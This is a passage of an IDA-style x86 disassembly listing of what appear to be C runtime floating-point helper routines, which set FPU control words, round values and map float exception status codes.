		cmp	dword_4524F0, 1
		jle	short loc_42D9E2
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_42D9F7
; ---------------------------------------------------------------------------


loc_42D9E2:				; CODE XREF: sub_42D9C0+Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_42D9F7:				; CODE XREF: sub_42D9C0+20j
		cmp	[ebp+var_4], 0
		jz	short loc_42DA05
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_42DA11
; ---------------------------------------------------------------------------


loc_42DA05:				; CODE XREF: sub_42D9C0+3Bj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFFFDFh
		sub	edx, 7
		mov	[ebp+var_8], edx


loc_42DA11:				; CODE XREF: sub_42D9C0+43j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D9C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA20	proc near		; CODE XREF: sub_42C5E0+370p
					; sub_42C5E0+698p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jl	short loc_42DA5B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42DA6A
; ---------------------------------------------------------------------------


loc_42DA5B:				; CODE XREF: sub_42DA20+1Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429810
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42DA6A:				; CODE XREF: sub_42DA20+39j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DA20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA80	proc near		; CODE XREF: sub_42C5E0+ECp
					; sub_42C5E0+666p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_42DA99
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_434860
		add	esp, 8


loc_42DA99:				; CODE XREF: sub_42DA80+7j
		pop	ebp
		retn
sub_42DA80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DAA0	proc near		; CODE XREF: sub_42C5E0+E3p
					; sub_42C5E0+353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42DAA4:				; CODE XREF: sub_42DAA0+30j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_434540
		add	esp, 4
		test	eax, eax
		jz	short loc_42DAD2
		jmp	short loc_42DAA4
; ---------------------------------------------------------------------------


loc_42DAD2:				; CODE XREF: sub_42DAA0+2Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DAA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42DAE0(double)

sub_42DAE0	proc near		; CODE XREF: sub_422F50+C3p
					; sub_423170+C3p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42DAE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42DB00(int,double,int)

sub_42DB00	proc near		; CODE XREF: sub_422F50+85p
					; sub_423170+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_452B60, 0
		jnz	short loc_42DB34
		mov	eax, [ebp+arg_C]
		push	eax		; int
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx		; double
		push	0		; int
		push	0		; int
		mov	eax, [ebp+10h]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		push	1		; int
		call	sub_42E5B0
		add	esp, 24h
		jmp	short loc_42DB53
; ---------------------------------------------------------------------------


loc_42DB34:				; CODE XREF: sub_42DB00+Aj
		call	sub_42C1E0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_42EA40
		add	esp, 8
		fld	qword ptr [ebp+arg_4]


loc_42DB53:				; CODE XREF: sub_42DB00+32j
		pop	ebp
		retn
sub_42DB00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		fstp	qword ptr [ebp-8]
		cmp	dword_452B60, 0
		jnz	short loc_42DBA4
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	1
		call	sub_42E5B0
		add	esp, 24h
		jmp	short loc_42DBC3
; ---------------------------------------------------------------------------


loc_42DBA4:				; CODE XREF: .XComp0:0042DB76j
		call	sub_42C1E0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	edx, [ebp+1Ch]
		push	edx
		call	sub_42EA40
		add	esp, 8
		fld	qword ptr [ebp-8]


loc_42DBC3:				; CODE XREF: .XComp0:0042DBA2j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42DBD0(int,int,int,int,double,int)

sub_42DBD0	proc near		; CODE XREF: sub_422F50+B1p
					; sub_422F50+129p ...

var_5C		= byte ptr -5Ch
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+arg_18]
		push	eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E230
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DC16
		mov	eax, [ebp+var_24]
		and	al, 0FEh
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+arg_18]
		push	edx
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_42DD60
		add	esp, 18h


loc_42DC16:				; CODE XREF: sub_42DBD0+1Cj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E6D0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	dword_452B60, 0
		jnz	short loc_42DC5E
		cmp	[ebp+var_4], 0
		jz	short loc_42DC5E
		mov	edx, [ebp+arg_18]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_10+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_10]
		push	ecx		; double
		push	0		; int
		push	0		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; int
		call	sub_42E5B0
		add	esp, 24h
		jmp	short loc_42DC7E
; ---------------------------------------------------------------------------


loc_42DC5E:				; CODE XREF: sub_42DBD0+5Cj
					; sub_42DBD0+62j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42E650
		add	esp, 4
		push	0FFFFh
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+arg_10]


loc_42DC7E:				; CODE XREF: sub_42DBD0+8Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42DBD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+28h]
		push	eax
		lea	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42E230
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DCEE
		mov	eax, [ebp-24h]
		or	al, 1
		mov	[ebp-24h], eax
		mov	ecx, [ebp-24h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	[ebp-24h], ecx
		mov	edx, [ebp+18h]
		mov	[ebp-34h], edx
		mov	eax, [ebp+1Ch]
		mov	[ebp-30h], eax
		lea	ecx, [ebp+20h]
		push	ecx
		lea	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp+28h]
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_42DD60
		add	esp, 18h


loc_42DCEE:				; CODE XREF: .XComp0:0042DCACj
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_42E6D0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword_452B60, 0
		jnz	short loc_42DD3A
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42DD3A
		mov	edx, [ebp+28h]
		push	edx
		mov	eax, [ebp+24h]
		push	eax
		mov	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_42E5B0
		add	esp, 24h
		jmp	short loc_42DD5A
; ---------------------------------------------------------------------------


loc_42DD3A:				; CODE XREF: .XComp0:0042DD04j
					; .XComp0:0042DD0Aj
		mov	edx, [ebp-4]
		push	edx
		call	sub_42E650
		add	esp, 4
		push	0FFFFh
		mov	eax, [ebp+28h]
		push	eax
		call	sub_42EA40
		add	esp, 8
		fld	qword ptr [ebp+20h]


loc_42DD5A:				; CODE XREF: .XComp0:0042DD38j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DD60	proc near		; CODE XREF: sub_42DBD0+3Ep
					; .XComp0:0042DCE6p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42DDA4
		mov	[ebp+var_4], 0C000008Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_42DDA4:				; CODE XREF: sub_42DD60+2Cj
		mov	ecx, [ebp+arg_8]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42DDC3
		mov	[ebp+var_4], 0C0000093h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 2
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_42DDC3:				; CODE XREF: sub_42DD60+4Cj
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_42DDE3
		mov	[ebp+var_4], 0C0000091h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_42DDE3:				; CODE XREF: sub_42DD60+6Bj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		test	eax, eax
		jz	short loc_42DE03
		mov	[ebp+var_4], 0C000008Eh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_42DE03:				; CODE XREF: sub_42DD60+8Bj
		mov	ecx, [ebp+arg_8]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42DE22
		mov	[ebp+var_4], 0C0000090h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 10h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_42DE22:				; CODE XREF: sub_42DD60+ABj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFEFh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		shl	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFF7h
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 8
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		and	ecx, 1
		shl	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	al, 0FBh
		or	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFFDh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 20h
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFFEh
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		call	sub_42EA00
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_42DEF2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_42DEF2:				; CODE XREF: sub_42DD60+181j
		mov	ecx, [ebp+var_8]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42DF0A
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_42DF0A:				; CODE XREF: sub_42DD60+19Aj
		mov	edx, [ebp+var_8]
		and	edx, 8
		test	edx, edx
		jz	short loc_42DF23
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], ecx


loc_42DF23:				; CODE XREF: sub_42DD60+1B2j
		mov	eax, [ebp+var_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42DF3C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_42DF3C:				; CODE XREF: sub_42DD60+1CBj
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42DF54
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_42DF54:				; CODE XREF: sub_42DD60+1E4j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 0C00h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 800h
		ja	short loc_42DF84
		cmp	[ebp+var_C], 800h
		jz	short loc_42DF9E
		cmp	[ebp+var_C], 0
		jz	short loc_42DFC2
		cmp	[ebp+var_C], 400h
		jz	short loc_42DFB0
		jmp	short loc_42DFCF
; ---------------------------------------------------------------------------


loc_42DF84:				; CODE XREF: sub_42DD60+208j
		cmp	[ebp+var_C], 0C00h
		jz	short loc_42DF8F
		jmp	short loc_42DFCF
; ---------------------------------------------------------------------------


loc_42DF8F:				; CODE XREF: sub_42DD60+22Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, 3
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42DFCF
; ---------------------------------------------------------------------------


loc_42DF9E:				; CODE XREF: sub_42DD60+211j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42DFCF
; ---------------------------------------------------------------------------


loc_42DFB0:				; CODE XREF: sub_42DD60+220j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42DFCF
; ---------------------------------------------------------------------------


loc_42DFC2:				; CODE XREF: sub_42DD60+217j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_42DFCF:				; CODE XREF: sub_42DD60+222j
					; sub_42DD60+22Dj ...
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 300h
		mov	[ebp+var_10], edx
		cmp	[ebp+var_10], 0
		jz	short loc_42E018
		cmp	[ebp+var_10], 200h
		jz	short loc_42E006
		cmp	[ebp+var_10], 300h
		jz	short loc_42DFF7
		jmp	short loc_42E028
; ---------------------------------------------------------------------------


loc_42DFF7:				; CODE XREF: sub_42DD60+293j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_42E028
; ---------------------------------------------------------------------------


loc_42E006:				; CODE XREF: sub_42DD60+28Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_42E028
; ---------------------------------------------------------------------------


loc_42E018:				; CODE XREF: sub_42DD60+281j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_42E028:				; CODE XREF: sub_42DD60+295j
					; sub_42DD60+2A4j ...
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFh
		shl	eax, 5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFE001Fh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		and	edx, 0FFFFFFE1h
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		mov	[ecx+10h], eax
		mov	edx, [edx+4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		or	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[eax+40h], edx
		mov	ecx, [ecx+4]
		mov	[eax+44h], ecx
		call	sub_42EA20
		lea	edx, [ebp+arg_0]
		push	edx
		push	1
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	near ptr 29D07FFh
		nop
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 4
		and	edx, 1
		test	edx, edx
		jz	short loc_42E0DD
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_42E0DD:				; CODE XREF: sub_42DD60+36Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		shr	ecx, 3
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42E0F9
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0FBh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_42E0F9:				; CODE XREF: sub_42DD60+38Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		shr	eax, 2
		and	eax, 1
		test	eax, eax
		jz	short loc_42E116
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 0FFFFFFF7h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_42E116:				; CODE XREF: sub_42DD60+3A7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_42E132
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEFh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_42E132:				; CODE XREF: sub_42DD60+3C3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42E14B
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0DFh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_42E14B:				; CODE XREF: sub_42DD60+3DDj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 3
		ja	short loc_42E1A9
		mov	ecx, [ebp+var_14]
		jmp	off_42E211[ecx*4]


loc_42E166:				; DATA XREF: .XComp0:0042E21Do
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 0Ch
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E178:				; CODE XREF: sub_42DD60+3FFj
					; DATA XREF: .XComp0:0042E219o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E18A:				; CODE XREF: sub_42DD60+3FFj
					; DATA XREF: .XComp0:0042E215o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E19C:				; CODE XREF: sub_42DD60+3FFj
					; DATA XREF: .XComp0:off_42E211o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_42E1A9:				; CODE XREF: sub_42DD60+3FAj
					; sub_42DD60+416j ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shr	eax, 2
		and	eax, 7
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_42E1CB
		cmp	[ebp+var_18], 1
		jz	short loc_42E1DD
		cmp	[ebp+var_18], 2
		jz	short loc_42E1EF
		jmp	short loc_42E1FC
; ---------------------------------------------------------------------------


loc_42E1CB:				; CODE XREF: sub_42DD60+45Bj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 3
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_42E1FC
; ---------------------------------------------------------------------------


loc_42E1DD:				; CODE XREF: sub_42DD60+461j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 2
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_42E1FC
; ---------------------------------------------------------------------------


loc_42E1EF:				; CODE XREF: sub_42DD60+467j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_42E1FC:				; CODE XREF: sub_42DD60+469j
					; sub_42DD60+47Bj ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_14]
		mov	eax, [ecx+40h]
		mov	[edx], eax
		mov	ecx, [ecx+44h]
		mov	[edx+4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42DD60	endp

; ---------------------------------------------------------------------------
off_42E211	dd offset loc_42E19C	; DATA XREF: sub_42DD60+3FFr
		dd offset loc_42E18A
		dd offset loc_42E178
		dd offset loc_42E166
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E230	proc near		; CODE XREF: sub_42DBD0+12p
					; .XComp0:0042DCA2p

var_44		= dword	ptr -44h
var_40		= qword	ptr -40h
var_38		= qword	ptr -38h
var_30		= qword	ptr -30h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42E26A
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_42E26A
		push	1
		call	sub_42EA80
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		jmp	loc_42E56E
; ---------------------------------------------------------------------------


loc_42E26A:				; CODE XREF: sub_42E230+17j
					; sub_42E230+21j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42E295
		mov	edx, [ebp+arg_8]
		and	edx, 4
		test	edx, edx
		jz	short loc_42E295
		push	4
		call	sub_42EA80
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0FBh
		mov	[ebp+var_4], eax
		jmp	loc_42E56E
; ---------------------------------------------------------------------------


loc_42E295:				; CODE XREF: sub_42E230+42j
					; sub_42E230+4Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42E411
		mov	edx, [ebp+arg_8]
		and	edx, 8
		test	edx, edx
		jz	loc_42E411
		push	8
		call	sub_42EA80
		add	esp, 4
		mov	eax, [ebp+arg_8]
		and	eax, 0C00h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 800h
		ja	short loc_42E2F0
		cmp	[ebp+var_20], 800h
		jz	short loc_42E345
		cmp	[ebp+var_20], 0
		jz	short loc_42E302
		cmp	[ebp+var_20], 400h
		jz	loc_42E385
		jmp	loc_42E403
; ---------------------------------------------------------------------------


loc_42E2F0:				; CODE XREF: sub_42E230+9Dj
		cmp	[ebp+var_20], 0C00h
		jz	loc_42E3C5
		jmp	loc_42E403
; ---------------------------------------------------------------------------


